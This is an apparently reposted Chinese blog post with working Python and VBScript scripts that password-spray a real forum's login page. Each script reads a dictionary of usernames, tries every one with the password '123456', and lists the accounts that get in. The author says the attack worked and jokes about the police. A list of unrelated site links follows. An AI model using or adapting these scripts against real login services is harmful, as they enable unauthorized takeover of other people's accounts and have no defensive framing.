Python牛刀小试密码爆破


Posted in Python onFebruary 03, 2011

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版

#coding: gbk 
import httplib, urllib def Check(username, password): 
params = urllib.urlencode( 
{'userid': username, 'passwd': password}) 
headers = {"Content-type": 
"application/x-www-form-urlencoded"} 
conn = httplib.HTTPSConnection("www.bdwm.net") 
conn.request("POST", 
"/bbs/bbslog2.php", params, headers) 
res = conn.getresponse().read() 
conn.close() 
if res.find("密码不正确") != -1: 
return False 
elif res.find("不存在这个用户") != -1: 
return False 
else: 
return True 
for i in open("English.Dic"): 
if Check(i.rstrip(),"123456"): 
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso 
Set fso = CreateObject("scripting.filesystemobject") 
With fso.OpenTextFile("English.Dic",1) 
Do Until .AtEndOfStream 
id = .ReadLine 
If Check(id,"123456") Then 
WScript.Echo id & vbTab &"OK" 
End If 
Loop 
End With Function Check(username,password) 
Dim http 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open _ 
"POST","https://www.bdwm.net/bbs/bbslog2.php",False 
http.setRequestHeader _ 
"Content-Type","application/x-www-form-urlencoded" 
http.send "userid=" & username & "&passwd=" & password 
response = AnsiToUnicode(http.responseBody) 
If InStr(response,"密码不正确") Then 
Check = False 
ElseIf InStr(response,"不存在这个用户") Then 
Check = False 
Else 
Check = True 
End If 
End Function 
Function AnsiToUnicode(str) 
Dim ado 
Set ado = CreateObject("adodb.stream") 
ado.Type = 1 
ado.Open 
ado.Write str 
ado.Position = 0 
ado.Type = 2 
ado.Charset = "gb2312" 
AnsiToUnicode = ado.ReadText 
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
Python 相关文章推荐
python基础教程之匿名函数lambda
Jan 17 Python
python Pygame的具体使用讲解
Nov 03 Python
磁盘垃圾文件清理器python代码实现
Aug 24 Python
对python捕获ctrl+c手工中断程序的两种方法详解
Dec 26 Python
python使用xlrd模块读取xlsx文件中的ip方法
Jan 11 Python
解决django中ModelForm多表单组合的问题
Jul 18 Python
Python 将 QQ 好友头像生成祝福语的实现代码
May 03 Python
Python爬虫爬取博客实现可视化过程解析
Jun 29 Python
Python代码需要缩进吗
Jul 01 Python
Python自动化办公Excel模块openpyxl原理及用法解析
Nov 05 Python
Python 图片处理库exifread详解
Feb 25 Python
python3判断IP地址的方法
Mar 04 Python
初学python数组的处理代码
Jan 04 #Python
让python json encode datetime类型
Dec 28 #Python
让python的Cookie.py模块支持冒号做key的方法
Dec 28 #Python
python封装对象实现时间效果
Apr 23 #Python
python下函数参数的传递(参数带星号的说明)
Sep 19 #Python
Python 元类使用说明
Dec 18 #Python
Python3 入门教程 简单但比较不错
Nov 29 #Python
You might like
php中取得URL的根域名的代码
2011/03/23 PHP
php 调用ffmpeg获取视频信息的简单实现
2017/04/03 PHP
PHP实现根据数组某个键值大小进行排序的方法
2018/03/13 PHP
PHP面向对象五大原则之单一职责原则(SRP)详解
2018/04/04 PHP
Thinkphp5框架实现图片、音频和视频文件的上传功能详解
2019/08/27 PHP
Firefox 无法获取cssRules 的解决办法
2006/10/11 Javascript
页面回到顶部的三种实现(锚标记,js)
2012/10/01 Javascript
JS打开层/关闭层/移动层动画效果的实例代码
2013/05/11 Javascript
ie浏览器使用js导出网页到excel并打印
2014/03/11 Javascript
Jquery原生态实现表格header头随滚动条滚动而滚动
2014/03/18 Javascript
js实现鼠标经过表格行变色的方法
2015/05/12 Javascript
JQuery自动触发事件的方法
2015/06/13 Javascript
jQuery实现文本框输入同步的方法
2015/06/20 Javascript
js获取及判断键盘按键的方法
2015/12/01 Javascript
JavaScript来实现打开链接页面的简单实例
2016/06/02 Javascript
js实现图片淡入淡出切换简易效果
2016/08/22 Javascript
seajs学习之模块的依赖加载及模块API的导出
2016/10/20 Javascript
轻松理解Javascript变量的相关问题
2017/01/20 Javascript
jquery 实现复选框的全选操作实例代码
2017/01/24 Javascript
基于Bootstrap下拉框插件bootstrap-select使用方法详解
2018/08/07 Javascript
js中getter和setter用法实例分析
2018/08/14 Javascript
轻量级富文本编辑器wangEditor结合vue使用方法示例
2018/10/10 Javascript
JavaScript字符串处理常见操作方法小结
2019/11/15 Javascript
Vue的自定义组件不能使用click方法的解决
2020/07/28 Javascript
JavaScript WeakMap使用详解
2021/02/05 Javascript
[09:43]DOTA2每周TOP10 精彩击杀集锦vol.5
2014/06/25 DOTA
python实现一个简单的并查集的示例代码
2018/03/19 Python
Python中的四种交换数值的方法解析
2019/11/18 Python
Scrapy项目实战之爬取某社区用户详情
2020/09/17 Python
中国跨境海淘网站:考拉海购
2016/08/01 全球购物
房地产销售计划书
2014/01/10 职场文书
法人代表任命书范本
2014/06/05 职场文书
环境监测与治理技术专业求职信
2014/07/06 职场文书
学校消防安全责任书
2014/07/23 职场文书
公司踏青活动方案
2014/08/16 职场文书
Redis入门基础常用操作命令整理
2022/06/01 Redis